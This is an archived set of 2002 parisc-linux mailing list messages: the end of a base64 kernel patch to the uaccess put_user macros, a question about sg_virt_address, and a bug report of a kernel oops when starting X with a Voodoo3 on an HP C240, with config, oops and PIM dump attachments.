ICAgICAgICAgICAgXAogCQkJCQkJCQlcCkBAIC0yMTEsNDUgKzIyMCwzNiBAQAogCQk6ICI9ciIo
X19wdV9lcnIpICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJOiAiciIocHRyKSwgInIi
KHgpLCAiMCIoX19wdV9lcnIpKQogCi1zdGF0aWMgaW5saW5lIHZvaWQgX19wdXRfa2VybmVsX2Fz
bTY0KHU2NCB4LCB2b2lkICpwdHIpCi17Ci0JdTMyIGhpID0geD4+MzI7Ci0JdTMyIGxvID0geCYw
eGZmZmZmZmZmOwotCV9fYXNtX18gX192b2xhdGlsZV9fICgKLQkJIlxuMTpcdHN0dyAlMSwwKCUw
KVxuIgotCQkiXG4yOlx0c3R3ICUyLDQoJTApXG4iCi0JCSIzOlxuIgotCQkiXHQuc2VjdGlvbiBf
X2V4X3RhYmxlLFwiYVwiXG4iCi0JCSAiXHQud29yZFx0MWJcbiIKLQkJICJcdC53b3JkXHQoM2It
MWIpKzFcbiIKLQkJICJcdC53b3JkXHQyYlxuIgotCQkgIlx0LndvcmRcdCgzYi0yYikrMVxuIgot
CQkgIlx0LnByZXZpb3VzIgotCQk6IDogInIiKHB0ciksICJyIihoaSksICJyIihsbykpOwotCi19
Ci0KLXN0YXRpYyBpbmxpbmUgdm9pZCBfX3B1dF91c2VyX2FzbTY0KHU2NCB4LCB2b2lk
ICpwdHIpCi17Ci0JdTMyIGhpID0geD4+MzI7Ci0JdTMyIGxvID0geCYweGZmZmZmZmZmOwotCV9f
YXNtX18gX192b2xhdGlsZV9fICgKLQkJIlxuMTpcdHN0dyAlMSwwKCUlc3IzLCUwKVxuIgotCQki
XG4yOlx0c3R3ICUyLDQoJSVzcjMsJTApXG4iCi0JCSIzOlxuIgotCQkiXHQuc2VjdGlvbiBfX2V4
X3RhYmxlLFwiYVwiXG4iCi0JCSAiXHQud29yZFx0MWJcbiIKLQkJICJcdC53b3JkXHQoM2ItMWIp
KzFcbiIKLQkJICJcdC53b3JkXHQyYlxuIgotCQkgIlx0LndvcmRcdCgzYi0yYikrMVxuIgotCQkg
Ilx0LnByZXZpb3VzIgotCQk6IDogInIiKHB0ciksICJyIihoaSksICJyIihsbykpOworI2RlZmlu
ZSBfX3B1dF9rZXJuZWxfYXNtNjQoeCwgcHRyKQkJXAorCV9fYXNtX18gX192b2xhdGlsZV9fICgJ
CQlcCisJCSJcbjE6XHRzdHdcdCUyLDAoJTEpXG4iCQlcCisJCSIyOlx0c3R3XHQlUjIsNCglMSlc
biIJCVwKKwkJIjM6XG4iCQkJCVwKKwkJIlx0LnNlY3Rpb24gX19leF90YWJsZSxcImFcIlxuIglc
CisJCSAiXHQud29yZFx0MWJcbiIJCVwKKwkJICJcdC53b3JkXHQoM2ItMWIpKzFcbiIJCVwKKwkJ
ICJcdC53b3JkXHQyYlxuIgkJXAorCQkgIlx0LndvcmRcdCgzYi0yYikrMVxuIgkJXAorCQkgIlx0
LnByZXZpb3VzIgkJCVwKKwkJOiAiPXIiKF9fcHVfZXJyKQkJXAorCQk6ICJyIihwdHIpLCAiciIo
eCksICIwIihfX3B1X2VycikpCiAKLX0KKyNkZWZpbmUgX19wdXRfdXNlcl9hc202NCh4LCBwdHIp
CQlcCisJX19hc21fXyBfX3ZvbGF0aWxlX18gKAkJCVwKKwkJIlxuMTpcdHN0d1x0JTIsMCglJXNy
MywlMSlcbiIJXAorCQkiMjpcdHN0d1x0JVIyLDQoJSVzcjMsJTEpXG4iCVwKKwkJIjM6XG4iCQkJ
CVwKKwkJIlx0LnNlY3Rpb24gX19leF90YWJsZSxcImFcIlxuIglcCisJCSAiXHQud29yZFx0MWJc
biIJCVwKKwkJICJcdC53b3JkXHQoM2ItMWIpKzFcbiIJCVwKKwkJICJcdC53b3JkXHQyYlxuIgkJ
XAorCQkgIlx0LndvcmRcdCgzYi0yYikrMVxuIgkJXAorCQkgIlx0LnByZXZpb3VzIgkJCVwKKwkJ
OiAiPXIiKF9fcHVfZXJyKQkJXAorCQk6ICJyIihwdHIpLCAiciIoeCksICIwIihfX3B1X2Vycikp
CiAKICNlbmRpZgogCi0KIC8qCiAgKiBDb21wbGV4IGFjY2VzcyByb3V0aW5lcyAtLSBleHRlcm5h
bCBkZWNsYXJhdGlvbnMKICAqLwo=

--=========3DAAAD46000048D6/mail.tiscali.be--


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: Tue, 26 Nov 2002 16:07:40 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3DAAAD4600004A10@ocpmta1.be.tiscali.com>
References: <20021124024358.7D5B0482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621971 17743 80.91.229.3 (22 Nov 2014 02:06:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	"Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 08:07:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A68B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 08:07:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18GhJO-0007nx-00; Tue, 26 Nov 2002 16:07:42 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 26 Nov 2002 16:07:40 +0100
In-Reply-To: <20021124024358.7D5B0482E@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16937

>
>yeah - ccio-dma.c isn't using sg_virt_address() to access to the virtual
>address of an SG list entry. It's defined in include/asm/scatterlist.h.
>See sba_iommu.c on how to use this correctly.
>
>Attached diff is a first cut, untested. My advice is to rewrite the
>loop so sg_virt_address() result is saved once instead of referencing
>the macro 3 (or more) times in the main loop.
>
Hey Grant,

Am I wrong or sg_virt_address() should be called sg_virt_addr()?

Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Voodoo3 and C240
Date: Tue, 26 Nov 2002 15:45:10 +0000 (GMT)
Lines: 742
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211261534001.8267-800000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-1253078546-1038325510=:8267"
X-Trace: ger.gmane.org 1416621971 17745 80.91.229.3 (22 Nov 2014 02:06:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 08:45:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4C40482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 08:45:16 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id PAA02694
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 15:45:38 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16938

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi parisc-hackers,

After quite a long time I upgraded my kernel from linux-2.4.19-pa2 (mid of
August) to CVS of yesterday, 22:00 GMT (linux-2.4.20-rc1-pa7). Both times
32bit kernels, compiled with gcc-3.0.4. I'm using the serial console.

Please note that using the new kernel I also followed grant's tip for C2xx:

> arch/parisc/kernel/ccio-dma.c: unmodified: line 169 of 1615 [10%].
>
> /* Ratio of Host MEM to IOV Space size */
> static unsigned long ccio_mem_ratio = 4;
>
> replace 4 with 2.

Is this modification still required for 2.5? Can't this be automatically
determined?



Anyway, I still have the same problem:

I try to use a Voodoo3 3000 (with XFree86-4.2.0) in my C240! (just typing "X"
as root in the console and hope for a check-pattern background to come up).

Last time (I posted it on the p-l mailing list) the kernel reported something
like "LASI barks" and caused a HPMC. Unfortunately I didn't report a "ser pim"
for the HPMC.


BUT:
----
With the new kernel the doesn't cause a HPMC anymore; now the kernel OOPSes
and hangs. I don't know whether this counts as an success or not :-/
Also no ping is replied, so the kernel really crashed. I don't know whether
a "ser pim" makes sense after a kernel oops or just after a HPMC, but I
attached the output anyway.

I did not update any debian packages or anything in the hardware configuration
(not even the software configuration) since my last error-report, so the
changes in the behaviour of the bug are ONLY due to the new kernel!

Anyway, I attached (twice) the output of the oops and "ser pim", along with my
XF86Config-4. Due to the large size of the files, kernel configuration
is found at http://www.cs.ucc.ie/~xam/config-2.4.20-rc1-pa7 and System-map
is found at http://www.cs.ucc.ie/~xam/System.map-2.4.20-rc1-pa7 .
The first time I forgot to attach the PS2-keyboard and -mouse (but a
kernel oops nevertheless), and the second time I tried again to start X,
this time with keyboard and mouse attached (again a kernel oops).

any help appreciated!

hope this helps,
  greetings max


PS: I noticed with the new kernel that the C240 now changes eth0 to 100Mbit
    full-duplex on boot (quite often, but not always). With the old kernel this
    was VERY rare (only 10Mbit full-duplex. This is also what the network card
    selects automatically before the linux kernel changes it on boot.)
    Still unplugging and re-plugging of the network cable doesn't change it
    from 10MBit to 100MBit once the kernel has booted.

    Also the Sym2 SCSI driver seems to be more stable than Sym1. At least I
    don't get the "SCSI target X suffered from tag starvation" anymore, which
    I used to get from time to time with Sym1 (btw, I replaced the
    4GB Ultra-SCSI with a 18GB Fast-SCSI when I got my C240, so I don't know
    whether this problem is/was just related to Fast-SCSI. The termination
    and cable are okay, and the HDD is working fine in my Alpha and my SPARC).

PPS: looking around in the linux-2.5 kernel options I wondered where the
     harmony sound driver has gone ...

---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=XF86Config-4
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545100.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=XF86Config-4

IyMjIEJFR0lOIERFQkNPTkYgU0VDVElPTg0KIyBYRjg2Q29uZmlnLTQgKFhG
cmVlODYgc2VydmVyIGNvbmZpZ3VyYXRpb24gZmlsZSkgZ2VuZXJhdGVkIGJ5
IGRleGNvbmYsIHRoZQ0KIyBEZWJpYW4gWCBDb25maWd1cmF0aW9uIHRvb2ws
IHVzaW5nIHZhbHVlcyBmcm9tIHRoZSBkZWJjb25mIGRhdGFiYXNlLg0KIw0K
IyBFZGl0IHRoaXMgZmlsZSB3aXRoIGNhdXRpb24sIGFuZCBzZWUgdGhlIFhG
ODZDb25maWctNCBtYW51YWwgcGFnZS4NCiMgKFR5cGUgIm1hbiBYRjg2Q29u
ZmlnLTQiIGF0IHRoZSBzaGVsbCBwcm9tcHQuKQ0KIw0KIyBJZiB5b3Ugd2Fu
dCB5b3VyIGNoYW5nZXMgdG8gdGhpcyBmaWxlIHByZXNlcnZlZCBieSBkZXhj
b25mLCBvbmx5IG1ha2UgY2hhbmdlcw0KIyBiZWZvcmUgdGhlICIjIyMgQkVH
SU4gREVCQ09ORiBTRUNUSU9OIiBsaW5lIGFib3ZlLCBhbmQvb3IgYWZ0ZXIg
dGhlDQojICIjIyMgRU5EIERFQkNPTkYgU0VDVElPTiIgbGluZSBiZWxvdy4N
Cg0KU2VjdGlvbiAiRmlsZXMiDQoJRm9udFBhdGgJInVuaXgvOjcxMDAiCQkJ
IyBsb2NhbCBmb250IHNlcnZlcg0KCSMgaWYgdGhlIGxvY2FsIGZvbnQgc2Vy
dmVyIGhhcyBwcm9ibGVtcywgd2UgY2FuIGZhbGwgYmFjayBvbiB0aGVzZQ0K
CUZvbnRQYXRoCSIvdXNyL2xpYi9YMTEvZm9udHMvbWlzYyINCglGb250UGF0
aAkiL3Vzci9saWIvWDExL2ZvbnRzL2N5cmlsbGljIg0KCUZvbnRQYXRoCSIv
dXNyL2xpYi9YMTEvZm9udHMvMTAwZHBpLzp1bnNjYWxlZCINCglGb250UGF0
aAkiL3Vzci9saWIvWDExL2ZvbnRzLzc1ZHBpLzp1bnNjYWxlZCINCglGb250
UGF0aAkiL3Vzci9saWIvWDExL2ZvbnRzL1R5cGUxIg0KCUZvbnRQYXRoCSIv
dXNyL2xpYi9YMTEvZm9udHMvU3BlZWRvIg0KCUZvbnRQYXRoCSIvdXNyL2xp
Yi9YMTEvZm9udHMvMTAwZHBpIg0KCUZvbnRQYXRoCSIvdXNyL2xpYi9YMTEv
Zm9udHMvNzVkcGkiDQpFbmRTZWN0aW9uDQoNClNlY3Rpb24gIk1vZHVsZSIN
CglMb2FkCSJHTGNvcmUiDQoJTG9hZAkiYml0bWFwIg0KCUxvYWQJImRiZSIN
CglMb2FkCSJkZGMiDQoJTG9hZAkiZHJpIg0KCUxvYWQJImV4dG1vZCINCglM
b2FkCSJmcmVldHlwZSINCglMb2FkCSJnbHgiDQoJTG9hZAkiaW50MTAiDQoJ
TG9hZAkicGV4NSINCglMb2FkCSJyZWNvcmQiDQoJTG9hZAkic3BlZWRvIg0K
CUxvYWQJInR5cGUxIg0KCUxvYWQJInZiZSINCglMb2FkCSJ4aWUiDQpFbmRT
ZWN0aW9uDQoNClNlY3Rpb24gIklucHV0RGV2aWNlIg0KCUlkZW50aWZpZXIJ
IkdlbmVyaWMgS2V5Ym9hcmQiDQoJRHJpdmVyCQkia2V5Ym9hcmQiDQoJT3B0
aW9uCQkiQ29yZUtleWJvYXJkIg0KCU9wdGlvbgkJIlhrYlJ1bGVzIgkieGZy
ZWU4NiINCglPcHRpb24JCSJYa2JNb2RlbCIJInBjMTA1Ig0KCU9wdGlvbgkJ
IlhrYkxheW91dCIJImdiIg0KRW5kU2VjdGlvbg0KDQpTZWN0aW9uICJJbnB1
dERldmljZSINCglJZGVudGlmaWVyCSJDb25maWd1cmVkIE1vdXNlIg0KCURy
aXZlcgkJIm1vdXNlIg0KCU9wdGlvbgkJIkNvcmVQb2ludGVyIg0KCU9wdGlv
bgkJIkRldmljZSIJCSIvZGV2L3BzYXV4Ig0KCU9wdGlvbgkJIlByb3RvY29s
IgkJIlBTLzIiDQoJT3B0aW9uCQkiRW11bGF0ZTNCdXR0b25zIgkiZmFsc2Ui
DQoJT3B0aW9uCQkiWkF4aXNNYXBwaW5nIgkJIjQgNSINCkVuZFNlY3Rpb24N
Cg0KU2VjdGlvbiAiRGV2aWNlIg0KCUlkZW50aWZpZXIJIlZvb2RvbzMgMzAw
MCBQQ0kgMTZNQiBTR1JBTSINCiAgICAgICAgVmVuZG9yTmFtZQkiM2RmeCBJ
bnRlcmFjdGl2ZSINCiAgICAgICAgQm9hcmROYW1lCSJWb29kb28zIg0KCURy
aXZlcgkJInRkZngiDQoJQnVzSUQJCSJQQ0k6MDozOjAiDQoJVmlkZW9SYW0J
MTYzODQNCiMJT3B0aW9uCQkiVXNlRkJEZXYiCQkidHJ1ZSINCglPcHRpb24J
CSJOb0lOVDEwIg0KRW5kU2VjdGlvbg0KDQpTZWN0aW9uICJNb25pdG9yIg0K
CUlkZW50aWZpZXIJIkdlbmVyaWMgTW9uaXRvciINCglIb3JpelN5bmMJMzAt
NjUNCglWZXJ0UmVmcmVzaAk2MC02OQ0KCU9wdGlvbgkJIkRQTVMiDQpFbmRT
ZWN0aW9uDQoNClNlY3Rpb24gIlNjcmVlbiINCglJZGVudGlmaWVyCSJEZWZh
dWx0IFNjcmVlbiINCglEZXZpY2UJCSJWb29kb28zIDMwMDAgUENJIDE2TUIg
U0dSQU0iDQoJTW9uaXRvcgkJIkdlbmVyaWMgTW9uaXRvciINCiMJRGVmYXVs
dERlcHRoCTI0DQoJU3ViU2VjdGlvbiAiRGlzcGxheSINCgkJRGVwdGgJCTEN
CgkJTW9kZXMJCSIxMDI0eDc2OCIgIjgwMHg2MDAiICI2NDB4NDgwIg0KCQlW
aXJ0dWFsCQkxMDI0IDc2OA0KCUVuZFN1YlNlY3Rpb24NCglTdWJTZWN0aW9u
ICJEaXNwbGF5Ig0KCQlEZXB0aAkJNA0KCQlNb2RlcwkJIjEwMjR4NzY4IiAi
ODAweDYwMCIgIjY0MHg0ODAiDQoJCVZpcnR1YWwJCTgwMCA2MDANCglFbmRT
dWJTZWN0aW9uDQoJU3ViU2VjdGlvbiAiRGlzcGxheSINCgkJRGVwdGgJCTgN
CgkJTW9kZXMJCSIxMDI0eDc2OCIgIjgwMHg2MDAiICI2NDB4NDgwIg0KCQlW
aXJ0dWFsCQkxMDI0IDc2OA0KCUVuZFN1YlNlY3Rpb24NCglTdWJTZWN0aW9u
ICJEaXNwbGF5Ig0KCQlEZXB0aAkJMTUNCgkJTW9kZXMJCSIxMDI0eDc2OCIg
IjgwMHg2MDAiICI2NDB4NDgwIg0KCQlWaXJ0dWFsCQkxMDI0IDc2OA0KCUVu
ZFN1YlNlY3Rpb24NCglTdWJTZWN0aW9uICJEaXNwbGF5Ig0KCQlEZXB0aAkJ
MTYNCgkJTW9kZXMJCSIxMDI0eDc2OCIgIjgwMHg2MDAiICI2NDB4NDgwIg0K
CQlWaXJ0dWFsCQkxMDI0IDc2OA0KCUVuZFN1YlNlY3Rpb24NCglTdWJTZWN0
aW9uICJEaXNwbGF5Ig0KCQlEZXB0aAkJMjQNCgkJTW9kZXMJCSIxMDI0eDc2
OCIgIjgwMHg2MDAiICI2NDB4NDgwIg0KCQlWaXJ0dWFsCQkxMDI0IDc2OA0K
CUVuZFN1YlNlY3Rpb24NCkVuZFNlY3Rpb24NCg0KU2VjdGlvbiAiU2VydmVy
TGF5b3V0Ig0KCUlkZW50aWZpZXIJIkRlZmF1bHQgTGF5b3V0Ig0KCVNjcmVl
bgkJIkRlZmF1bHQgU2NyZWVuIg0KCUlucHV0RGV2aWNlCSJHZW5lcmljIEtl
eWJvYXJkIg0KCUlucHV0RGV2aWNlCSJDb25maWd1cmVkIE1vdXNlIg0KRW5k
U2VjdGlvbg0KDQpTZWN0aW9uICJEUkkiDQoJTW9kZQkwNjY2DQpFbmRTZWN0
aW9uDQoNCiMjIyBFTkQgREVCQ09ORiBTRUNUSU9ODQo=
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-kernel-fault
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545101.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-kernel-fault

IyMjIyMjIE5PVEU6IHNlcmlhbCBudWxsLW1vZGVtIGNhYmxlIGlzIFZFUlkg
TE9ORywgdGhlcmVmb3JlDQojIyMjIyMgdW5yZWxpYWJsZSBvdXRwdXQsIGku
ZS4gb2Z0ZW4gY2hhcmFjdGVycyBhcmUgbWlzc2luZyEhIQ0KIyMjIyMjIE5F
SVRIRVIgUFMyLWtleWJvYXJkIG5vciAtbW91c2Ugd2FzIGF0dGFjaGVkIHRv
IHRoZSBDMjQwDQojIyMjIyMgZ3JhcGhpY3MgY2FyZDogVm9vZG9vMyAzMDAw
IGluIDMyYml0IFBDSSBzbG90DQojIyMjIyMgTm8gb3V0cHV0IG9mIFhGcmVl
IGFwcGVhcmVkIGluIGxvZ3Mgb3Igb24gc2NyZWVuIQ0KDQoNClN0YWNrIER1
bXA6DQogZmFmMDA2ODA6ICANClN0YWNrIER1bXA6DQogMTAyOTQ0YzA6ICAw
MDA0MDAwZSAwMDAwMDAwMSAwMDAwMDAwMCAwMDAwMDFmZiANCiAxMDI5NDRi
MDogIDAwMDAwMDYzIDEwMTAzZWU4IGZmZmEwMDAwIDAwMDA4MDAwIA0KIDEw
Mjk0NGEwOiAgMDAyOTgwMDAgMTAyNWVmOWMgZmFmMDA2ODAgMDAwMDAwMDEg
DQogMTAyOTQ0OTA6IDEwMmI1YzNjIDEwMTFjMzFjIDEwMmE0ODEwIA0KIDEw
Mjk0NDgwOiAgMDAwNDAwMGYgMDAwMDgwMDAgMDAwMDAwMDEgZjAwYjQ5YmMg
DQogMTAyOTQ0NzA6ICAwMDAwMDAwMCAwMDAwMDAwMSAwMDAwMDAwMSAwMDAw
MDAwMCANCg0KS2VybmVsIGFkZHJlc3NlcyBvbiB0aGUgc3RhY2s6DQogWzwx
MDEwM2VlOD5dICBbPDEwMTFjMzFjPl0gIFs8MTAxMDQ2NWM+XSAgWzwxMDEw
MjRkOD5dIA0KIFs8MTAxMDQ3Zjg+XSAgWzwxMDEwODA5MD5dIA0KDQpLZXJu
ZWwgRmF1bHQ6IENvZGU9MTUgcmVncz0xMDI5NDRjMCAoQWRkcj1mYWYwMDY4
MCkNCg0KICAgICBZWnJ2V0VTVEhMTlhCQ1ZNY2JjYmNiY2JPR0ZSUVBESQ0K
UFNXOiAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMTExMCBOb3QgdGFp
bnRlZA0KcjAwLTAzICAwMDAwMDAwMCAxMDJhMTgxMCAxMDEwM2VlOCBmYWYw
MDY4MA0KcjA0LTA3ICAwMDAwMDAwMCAxMDI5MzgxMCAxMDI1ZTgwMCAxMDI1
ZTgwMA0KcjA4LTExICAwMDI5ODAwMCAwMDAwODAwMCBmZmZhMDAwMCAwMDcy
YTAzNA0KcjEyLTE1ICAwMDAwMDA2MyAwMDAwMDFmZiAwMDAwMDAwMCAwMDAw
MDAwMQ0KcjE2LTE5ICAxMDI5NDA4MCAwMDAwMDAwMSBmYWYwMDEzMCAwMDAw
MDY4MA0KcjIwLTIzICAwMDAwMDAwMCAyZjBkODAwMCBmZmQwNTgwMCAwMDAw
MDAwMA0KcjI0LTI3ICAwMDAwMDAwMSBmYWYwMDY4MCAxMDJhNGJhMCAxMDI4
YTAxMA0KcjI4LTMxICAwMDAwMDAwZiAwMDAwMDA2MCAxMDI5NDRjMCAwMDAw
MDAwMA0Kc3IwLTMgICAwMDAwMDAwMCAwMDAwMDM0ZSAwMDAwMDAwMCAwMDAw
MDM0ZQ0Kc3I0LTcgICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMA0KDQpJQVNROiAwMDAwMDAwMCAwMDAwMDAwMCBJQU9ROiAxMDEwM2Yx
NCAxMDEwM2YxOA0KIElJUjogMGM2ICBJU1I6IDAwMDAwMDAwICBJT1I6IGZh
ZjAwNjgwDQogQ1BVOiAgICAgICAgMCAgIENSMzA6IDJjZmIwMDAwIENSMzE6
IDEwMzMwMDAwDQogT1JJR19SMjg6IDAwMjk0NTY4DQoNCg==
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-ser-pim
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545102.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-ser-pim

IyMjIyMgYWZ0ZXIgaGl0dGluZyBUT0MgYnV0dG9uIChzb2Z0IHJlYm9vdCkg
b2YgQzI0MA0KIyMjIyMgb3V0cHV0IHNob3VsZCBiZSBva2F5LCBzaW5jZSBJ
IGNoZWNrZWQgc2VyLXBpbSBzZXZlcmFsIHRpbWVzIHRvDQojIyMjIyBnZXQg
c3VyZSB0aGF0IG5vIGNoYXJhY3RlcnMgZ290IGxvc3QgZHVlIHRvIGxvbmcg
c2VyaWFsIGNhYmxlDQoNCg0KTWFpbiBNZW51OiBFbnRlciBjb21tYW5kID4g
c2VyIHBpbQ0KDQpQUk9DRVNTT1IgUElNIElORk9STUFUSU9ODQoNCi0tLS0t
LS0tLS0tLS0tLS0tICBQcm9jZXNzb3IgMCBIUE1DIEluZm9ybWF0aW9uIC0t
LS0tLS0tLS0tLS0tLS0tLQ0KDQpUaW1lc3RhbXAgPSAgIFR1ZSBOb3YgIDI2
IDAzOjUxOjQxIEdNVCAyMDAyICAgICgyMDowMjoxMToyNjowMzo1MTo0MSkN
Cg0KSFBNQyBDaGFzc2lzIENvZGVzID0gMHhjYmYwICAweDUwMDcgIDB4NTQw
OCAgMHg1NTA4ICAweGNiZmIgIA0KDQpHZW5lcmFsIFJlZ2lzdGVycyAwIC0g
MzENCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDZlZGNk
OCAgMDAwMDAwMDAwMDExYzdjYiAgMDAwMDAwMDAwMDcyYTAzNA0KMDQtMDcg
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwNzI5NzAwICAwMDAwMDAwMDAwNzI5ZmVjDQowOC0xMSAgIDAwMDAwMDAw
MDAwMDAwNjMgIDAwMDAwMDAwMDA3MjkxYzAgIDAwMDAwMDAwMDAwMDAwMDAg
IDAwMDAwMDAwMDA3MmEwMzQNCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDA2MyAg
MDAwMDAwMDAwMDAwMDFmZiAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMQ0KMTYtMTkgICAwMDAwMDAwMDAwMDAwMDAxICAwMDAwMDAwMDAw
MDAwMDAxICAwMDAwMDAwMGZhZjAwMTMwICAwMDAwMDAwMDAwNjczNGQ4DQoy
MC0yMyAgIDAwMDAwMDAwMDA3MmE5MTAgIDAwMDAwMDAwMDAxMWUzYzggIDAw
MDAwMDAwMDAxMWUzYTQgIDAwMDAwMDAwMDAwMDAwMDANCjI0LTI3ICAgMDAw
MDAwMDAwMDAwMDA1NCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDcy
OTcwMCAgMDAwMDAwMDAwMDY3MzRkOA0KMjgtMzEgICAwMDAwMDAwMGY2MDAw
MDUwICAwMDAwMDAwMDAwMDAwNTJhICAwMDAwMDAwMGZhZjAwNjgwICAwMDAw
MDAwMDAwMTFjNzQzDQoNCkNvbnRyb2wgUmVnaXN0ZXJzIDAgLSAzMQ0KMDAt
MDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwDQowNC0wNyAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDANCjA4LTExICAgMDAwMDAwMDAwMDAwMDY5
YyAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDBjMCAgMDAwMDAw
MDAwMDAwMDAxZQ0KMTItMTUgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMTA3MDAwICAwMDAwMDAwMGYwMDAwMDAw
